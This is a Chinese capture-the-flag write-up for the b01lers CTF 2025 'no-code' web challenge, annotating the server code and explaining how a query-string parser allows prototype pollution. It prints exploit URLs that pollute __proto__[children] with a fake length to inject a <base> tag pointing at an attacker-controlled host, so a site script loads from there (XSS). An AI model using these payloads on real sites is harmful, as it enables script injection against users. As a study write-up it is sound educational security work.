js原型污染 + xss劫持base -- no-code b01lersctf 2025

题目信息:Found this new web framework the other day—you don’t need to write any code, just JSON.

我们先来搞清楚究竟发生了什么

当我们访问 /index

/*** 处理 /:page 路径的 GET 请求* @param {Object} req - 请求对象* @param {Object} reply - 响应对象* @returns {Promise<string>} - 替换后的 HTML 页面内容*/
fastify.get("/:page", async (req, reply) => {// 获取请求的页面名称,默认为 indexconst page = req.params.page || "index";// 检查页面名称是否合法if (!/^\w+$/.test(page)) {// 页面名称不合法,返回 400 状态码和错误信息reply.code(400);return { err: "invalid page" };}// 设置 Content-Security-Policy 响应头reply.header("content-security-policy",`require-trusted-types-for 'script'; trusted-types 'none'`);// 设置响应内容类型为 text/htmlreply.type("text/html");// 异步获取页面数据并转换为 JSON 字符串,同时转义 < 字符const initial = JSON.stringify(await getPage(page, req.query)).replace(/</g, "\\x3c");// 读取 index.html 文件并替换其中的 {{initial}} 占位符return (await fs.readFile("index.html")).toString().replace(/\{\{initial\}\}/g, initial);
});

首先,对应路由的模板将被在getPage转换为对象

/*** 异步获取页面数据并替换模板占位符* @param {string} page - 页面名称* @param {Object} props - 用于替换占位符的键值对对象* @returns {Promise<Object>} - 处理后的页面数据*/
async function getPage(page, props) {// 异步读取页面的 JSON 文件并解析为对象const pageDocument = JSON.parse((await fs.readFile(`./pages/${page}.json`)).toString());// 替换页面数据中的所有模板占位符return replaceAllProps(pageDocument, props);
}

我们输入的参数会被自定义函数处理

/*** 解析扩展的查询字符串,支持嵌套参数* @param {string} query - 需要解析的查询字符串* @returns {Object} - 解析后的查询参数对象*/
function parseQuery(query) {// 移除查询字符串开头的问号query = query.replace(/^\?/, "");// 将查询字符串按 & 分割成参数数组const params = query.split("&");const result = {};// 遍历参数数组for (const param of params) {// 将每个参数按 = 分割成键值对,并对其进行 URI 解码const [key, value] = param.split("=").map(decodeURIComponent);// 如果键包含 [,说明是嵌套参数if (key.includes("[")) {// 将键按 [ 分割成多个部分,并移除每个部分末尾的 ]const parts = key.split("[").map((part) => part.replace(/]$/, ""));let curr = result;// 遍历除最后一个部分外的所有部分for (let part of parts.slice(0, -1)) {// 如果当前对象中不存在该部分对应的属性,则创建一个空对象if (curr[part] === undefined) {curr[part] = {};}// 将当前对象指向该属性curr = curr[part];}// 将值赋给最后一个部分对应的属性curr[parts[parts.length - 1]] = value;} else {// 普通参数,直接赋值result[key] = value;}}return result;
}

此处存在原型污染漏洞

输入:?filter[date][from]=2023-01-01&filter[date][to]=2023-12-31
输出:{filter: {date: {from: "2023-01-01",to: "2023-12-31"}}
}

解析后的参数对象一同与模板对象进入replaceAllProps,replaceAllProps遍历每个属性的v放入replaceProps来替换模板

/*** 递归替换对象中的所有模板占位符* @param {Object|any} obj - 需要处理的对象或值* @param {Object} props - 用于替换占位符的键值对对象* @returns {Object|any} - 处理后的对象或值*/
function replaceAllProps(obj, props) {// 如果 obj 不是对象,则直接返回if (typeof obj !== "object") {return obj;}// 如果 obj 有 attributes 属性,则替换其中的占位符if (obj.attributes !== undefined) {obj.attributes = Object.fromEntries(Array.from(Object.entries(obj.attributes)).map(([key, value]) => [key,replaceProps(value, props),]));}// 如果 obj 有 text 属性,则替换其中的占位符if (obj.text !== undefined) {obj.text = replaceProps(obj.text, props);}// 如果 obj 有 children 属性,则递归处理每个子对象if (obj.children !== undefined) {obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));}return obj;
}

在此函数中进行替换

/*** 替换字符串中的模板占位符* @param {string} s - 包含模板占位符的字符串* @param {Object} props - 用于替换占位符的键值对对象* @returns {string} - 替换后的字符串*/
function replaceProps(s, props) {// 遍历键值对对象for (const [key, value] of Object.entries(props)) {// 使用正则表达式替换所有匹配的占位符s = s.replace(new RegExp(`{{${escapeRegex(key)}}}`, "g"), value);}// 移除所有未替换的占位符s = s.replace(/{{\w+}}/g, "");return s;
}
// 输入模板
const template = "欢迎{{user}},今天是{{day}},剩余{{credit}}积分";// 替换参数
const params = { user: "张三", day: "星期一",// 注意:credit 参数未提供
};// 执行替换
replaceProps(template, params); 
// 输出:"欢迎张三,今天是星期一,剩余积分"

当处理完成后,所有的<都会被转义,并被插入index.html的{{initial}}

<!DOCTYPE html>
<html><head><meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1" /></head><body><div id="content"></div><script>const initial = {{initial}};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

然后在前端转换为html

/*** 将JSON对象转换为DOM元素。* @param {Object|string} json - 表示DOM结构的JSON对象,或者是一个字符串。* @returns {Node} - 转换后的DOM节点。*/
function jsonToDom(json) {// 如果传入的json是字符串,则创建一个文本节点if (typeof json === "string") {return document.createTextNode(json);}// 解构json对象,获取标签名、文本内容、属性和子节点const { tag, text, attributes, children } = json;// 创建指定标签名的DOM元素const element = document.createElement(tag);// 如果存在文本内容,则设置元素的文本内容if (text !== undefined) {element.textContent = text;}// 如果存在属性,则遍历属性对象并设置元素的属性if (attributes !== undefined) {for (const [key, value] of Object.entries(attributes)) {element.setAttribute(key, value);}}// 如果存在子节点,则递归调用jsonToDom函数并将结果添加到元素中if (children !== undefined) {for (const childJson of children) {element.append(jsonToDom(childJson));}}return element;
}
// JSON输入示例
const template = {tag: "div",attributes: { class: "card" },children: [{tag: "h2",text: "用户信息",attributes: { id: "user-title" }},{tag: "p",children: ["姓名:",{tag: "span",text: "张三",attributes: { class: "username" }}]}]
};// 转换为DOM元素
const cardElement = jsonToDom(template);// 最终生成的DOM结构:
/*
<div class="card"><h2 id="user-title">用户信息</h2><p>姓名:<span class="username">张三</span></p>
</div>
*/

我该如何利用原型污染,进行xss?

似乎并模板中并没有.text,

http://127.0.0.1:8000/?__proto__[text]=A5rZ

似乎所有没有text,的children都拥有了text

<!DOCTYPE html>
<html><head><meta charset="utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1"/></head><body><div id="content"></div><script>const initial = {"tag": "div","attributes": {},"children": [{"tag": "link","attributes": {"rel": "stylesheet","href": "/static/styles.css"},"text": "A5rZ"}, {"tag": "header","attributes": {"class": "home-header","id": "home"},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "h1","attributes": {},"text": "John Smith"}, {"tag": "p","attributes": {},"text": "Web Developer | Software Engineer | Problem Solver"}, {"tag": "p","attributes": {},"text": "Specializing in building high-quality web applications and solutions."}, {"tag": "a","attributes": {"href": "about","class": "btn"},"text": "Learn More About Me"}, " ", {"tag": "a","attributes": {"href": "projects","class": "btn"},"text": "View My Projects"}],"text": "A5rZ"}],"text": "A5rZ"}, {"tag": "footer","attributes": {},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "p","attributes": {},"text": "© 2025 John Smith. All rights reserved."}, {"tag": "a","attributes": {"href": "index"},"text": "Home"}, " | ", {"tag": "a","attributes": {"href": "about"},"text": "About"}, " | ", {"tag": "a","attributes": {"href": "projects"},"text": "Projects"}, " | ", {"tag": "a","attributes": {"href": "contact"},"text": "Contact"}],"text": "A5rZ"}],"text": "A5rZ"}],"text": "A5rZ"};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

这是否意味着我也为每个没有children的children获得原型的children

http://127.0.0.1:8000/?__proto__[children]=A5rZ
<!DOCTYPE html>
<html><head><meta charset="utf-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1"/></head><body><div id="content"></div><script>const initial = {"tag": "div","attributes": {},"children": [{"tag": "link","attributes": {"rel": "stylesheet","href": "/static/styles.css"},"text": "A5rZ","children": ["A", "5", "r", "Z"]}, {"tag": "header","attributes": {"class": "home-header","id": "home"},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "h1","attributes": {},"text": "John Smith","children": ["A", "5", "r", "Z"]}, {"tag": "p","attributes": {},"text": "Web Developer | Software Engineer | Problem Solver","children": ["A", "5", "r", "Z"]}, {"tag": "p","attributes": {},"text": "Specializing in building high-quality web applications and solutions.","children": ["A", "5", "r", "Z"]}, {"tag": "a","attributes": {"href": "about","class": "btn"},"text": "Learn More About Me","children": ["A", "5", "r", "Z"]}, " ", {"tag": "a","attributes": {"href": "projects","class": "btn"},"text": "View My Projects","children": ["A", "5", "r", "Z"]}],"text": "A5rZ"}],"text": "A5rZ"}, {"tag": "footer","attributes": {},"children": [{"tag": "div","attributes": {"class": "container"},"children": [{"tag": "p","attributes": {},"text": "© 2025 John Smith. All rights reserved.","children": ["A", "5", "r", "Z"]}, {"tag": "a","attributes": {"href": "index"},"text": "Home","children": ["A", "5", "r", "Z"]}, " | ", {"tag": "a","attributes": {"href": "about"},"text": "About","children": ["A", "5", "r", "Z"]}, " | ", {"tag": "a","attributes": {"href": "projects"},"text": "Projects","children": ["A", "5", "r", "Z"]}, " | ", {"tag": "a","attributes": {"href": "contact"},"text": "Contact","children": ["A", "5", "r", "Z"]}],"text": "A5rZ"}],"text": "A5rZ"}],"text": "A5rZ"};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

这似乎是可能的

http://127.0.0.1:8000/?__proto__[children][tag]=h1&__proto__[children][attributes][style]=color: red&__proto__[children][text]=A5rZ

但是当我尝试更多的时候,这些属性就不会被合并

赛后 ------------------------------------------------------------------------------------------------------------

在 replaceAllProps 函数中,60行的 obj.children 赋值逻辑要求 children 必须是数组类型。即使成功注入原型污染,如果注入的不是数组结构,也会导致处理中断:

// ... existing code ...
if (obj.children !== undefined) {obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));
}
// ... existing code ...

注意 array[]必须拥有 length,所以我们必须添加length加以伪装

http://127.0.0.1:8000/?__proto__[children][0][tag]=test&__proto__[children][length]=1

HTML <base> 标签解析

<base> 是 HTML 的根路径定义标签,主要用于:

  1. 基准URL设置
    href 属性指定文档中所有相对URL的根路径:
<base href="https://example.com/">
  1. 默认打开方式
    target 属性定义所有链接的默认打开方式(如 _blank 新窗口)

接下来,我们可以劫持base

http://127.0.0.1:8000/?__proto__[children][0][tag]=base&&__proto__[children][0][attributes][href]=http://127.0.0.1&__proto__[children][length]=1

接下来在我们的本地服务器中 /scripts/routing.js 中放置恶意脚本,因为base被篡改,/routing.js将从我们的服务器中被加载并执行

<!DOCTYPE html>
<html><head><meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><title>Writeups</title><meta name="viewport" content="width=device-width, initial-scale=1" /></head><body><div id="content"></div><script>const initial = {{initial}};</script><script src="/scripts/utils.js"></script><script src="/scripts/load.js"></script><script src="/scripts/routing.js"></script></body>
</html>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/79088.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Qwen智能体qwen_agent与Assistant功能初探

Qwen智能体qwen_agent与Assistant功能初探 一、Qwen智能体框架概述 Qwen&#xff08;通义千问&#xff09;智能体框架是阿里云推出的新一代AI智能体开发平台&#xff0c;其核心模块qwen_agent.agent提供了一套完整的智能体构建解决方案。该框架通过模块化设计&#xff0c;将L…

vue数据可视化开发常用库

一、常用数据可视化库 1. ECharts 特点&#xff1a;功能强大&#xff0c;支持多种图表类型&#xff0c;社区活跃。适用场景&#xff1a;复杂图表、大数据量、3D 可视化。安装&#xff1a;npm install echarts示例&#xff1a;<template><div ref"chart" c…

小红书视频无水印下载方法

下载小红书&#xff08;RED/Xiaohongshu&#xff09;视频并去除水印可以通过以下几种方法实现&#xff0c;但请注意尊重原创作者版权&#xff0c;下载内容仅限个人使用&#xff0c;避免侵权行为。 方法一&#xff1a;使用在线解析工具&#xff08;推荐&#xff09; 复制视频链…

Qt读写XML文档

XML 结构与概念简介 XML&#xff08;可扩展标记语言&#xff09; 是一种用于存储和传输结构化数据的标记语言。其核心特性包括&#xff1a; 1、树状结构&#xff1a;XML 数据以层次化的树形结构组织&#xff0c;包含一个根元素&#xff08;Root Element&#xff09;&#xff…

lambda 表达式

C 的 lambda 表达式 是一种轻量、内联的函数对象写法&#xff0c;广泛用于标准算法、自定义回调、事件响应等场景。它简洁且强大。以下将系统、详细地讲解 lambda 的语法、捕获规则、应用技巧和实际使用场景。 &#x1f9e0; 一、基本语法 [捕获列表](参数列表) -> 返回类型…

Web端项目系统访问页面很慢,后台数据返回很快,网络也没问题,是什么导致的呢?

Web端访问缓慢问题诊断指南(测试工程师专项版) ——从浏览器渲染到网络层的全链路排查方案 一、问题定位黄金法则(前端性能四象限) 1. [网络层] 数据返回快 ≠ 资源加载快(检查Content Download时间) 2. [渲染层] DOM复杂度与浏览器重绘(查看FPS指标) 3. [执行层…

Docker网络模式深度解析:Bridge与Host模式对比及实践指南

#作者&#xff1a;邓伟 文章目录 一、引言二、Bridge模式&#xff08;网桥模式&#xff09;2.1 工作原理2.2 核心特性2.4 适用场景2.5 优缺点分析 三、Host模式3.1 工作原理3.2 核心特性3.3 配置方法3.4 适用场景3.5 优缺点分析 四、网桥模式与Host模式对比五、最佳实践与注意…

React+Taro选择日期组件封装

话不多说&#xff0c;直接上效果 1.页面渲染时间模块 {this.renderCalendarPopup()}2.引入时间组件弹层&#xff0c;state中加入showPopup(控制什么时候展示时间选择弹层)&#xff0c;time(选择后的时间值) private renderCalendarPopup () > {const { showPopup, time…

备战蓝桥杯国赛第一天-atcoder-beginner-contest404

B. 因为只有四种情况&#xff0c;旋转90/180/270度后替换&#xff0c;直接替换&#xff0c;暴力即可 C. 循环图的定义是每个点出度为2&#xff0c;而且只有一个环的&#xff0c;所以先判断出度&#xff0c;再判断是否成环 #include <bits/stdc.h> using namespace st…

Linux59 SSH配置前瞻 JumpServer双网卡ping通

为什么Ping这个IP地址Ping得通 本地址 [rootlocalhost network-scripts]# cat ifcfg-ens33 iTYPEEthernet BOOTPROTOnone DEFROUTEyes DEVICEens33 ONBOOTno IPADDR192.168.235.4 NETMASK255.255.255.0 GATEWAY192.168.235.2 DNS1114.114.114.114 [rootlocalhost network-scrip…

Spring框架(1)

Spring框架是Java企业级开发中最受欢迎的框架之一&#xff0c;它通过简化开发流程、降低耦合度&#xff0c;让开发者能够更专注于业务逻辑的实现。本文将带你了解Spring框架的核心概念和基本用法。 一、Spring框架简介 Spring是一个轻量级的开源Java开发框架&#xff0c;由Ro…

QWindowkit 实现无边框,阴影支持系统边栏缩放等功能

一.感谢作者,QWindowkit 源码地址: GitHub - stdware/qwindowkit: Cross-platform frameless window framework for Qt. Support Windows, macOS, Linux. 二.集成pro工程: QT += core gui greaterThan(QT_MAJOR_VERSION, 4): QT += widgets CONFIG += c++17 # Yo…

-bash: /usr/local/mysql/bin/mysqld: No such file or directory

-bash: /usr/local/mysql/bin/mysqld: No such file or directory 1.Mysql安装常见的报错信息1.1.报错信息1.2.分析问题1.3.解决问题 endl 1.Mysql安装常见的报错信息 1.1.报错信息 [rootRocky9-12 ~]#echo $PATH /root/.local/bin:/root/bin:/usr/local/mysql/bin:/usr/loca…

【愚公系列】《Manus极简入门》027-数据故事讲述师:“数据叙事魔法师”

&#x1f31f;【技术大咖愚公搬代码&#xff1a;全栈专家的成长之路&#xff0c;你关注的宝藏博主在这里&#xff01;】&#x1f31f; &#x1f4e3;开发者圈持续输出高质量干货的"愚公精神"践行者——全网百万开发者都在追更的顶级技术博主&#xff01; &#x1f…

PostgreSQL可见性映射VM

1.可见性映射 清理过程的代价高昂&#xff0c;为了减小清理的开销&#xff0c;在PostgreSQL 8.4版中引入了VM。 VM的基本概念很简单。 每个表都拥有各自的可见性映射&#xff0c;用于保存表文件中每个页面的可见性。 页面的可见性确定了每个页面是否包含死元组。清理过程可以…

LeapVAD:通过认知感知和 Dual-Process 思维实现自动驾驶飞跃——论文阅读

《LeapVAD: A Leap in Autonomous Driving via Cognitive Perception and Dual-Process Thinking》2025年1月发表&#xff0c;来自浙江大学、上海AI实验室、慕尼黑工大、同济大学和中科大的论文。 尽管自动驾驶技术取得了显著进步&#xff0c;但由于推理能力有限&#xff0c;数…

二分系列题

1. 搜索插入位置 /*** 查找插入的位置&#xff1a;返回第一个大于等于 target 的索引&#xff1b;* 如果 target 大于所有元素&#xff0c;则返回数组长度&#xff08;即插入到末尾&#xff09;*/ class Solution {public int searchInsert(int[] nums, int target) {int left …

Octave 简介:一款强大的开源科学计算工具

引言 在科学计算、数据分析和数值模拟的领域&#xff0c;选择合适的工具对于提升工作效率和性能至关重要。虽然市面上有许多选择&#xff0c;但 GNU Octave 作为一款功能强大、开源免费的软件&#xff0c;它在科学计算中脱颖而出。如果你是学生、研究人员或开发者&#xff0c;…

TI Code Composer Studio编译时SDK报错问题解决

1. 我们使用TI的CCS&#xff08;Code Composer Studio&#xff09;编译环境编译工程时&#xff0c;首次安装很可能会遇到编译器找不到SDK的问题。 2. 当CCS编程工具找不到SDK路径时&#xff0c;会有如下报错&#xff1a; Problems窗口提示&#xff1a; Product com.ti.SIMPL…

MySQL大数据量查询优化

1.在回表数据量不大的情况下考虑增加索引&#xff0c;如果有多个筛选条件的情况下可以考虑添加联合索引&#xff0c;并且满足最佳左前缀的原则。 2.避免全表查询返回不需要的字段&#xff0c;增加磁盘io的压力 3.大表的分页查询&#xff0c;limit越大效率越低&#xff0c;可以先…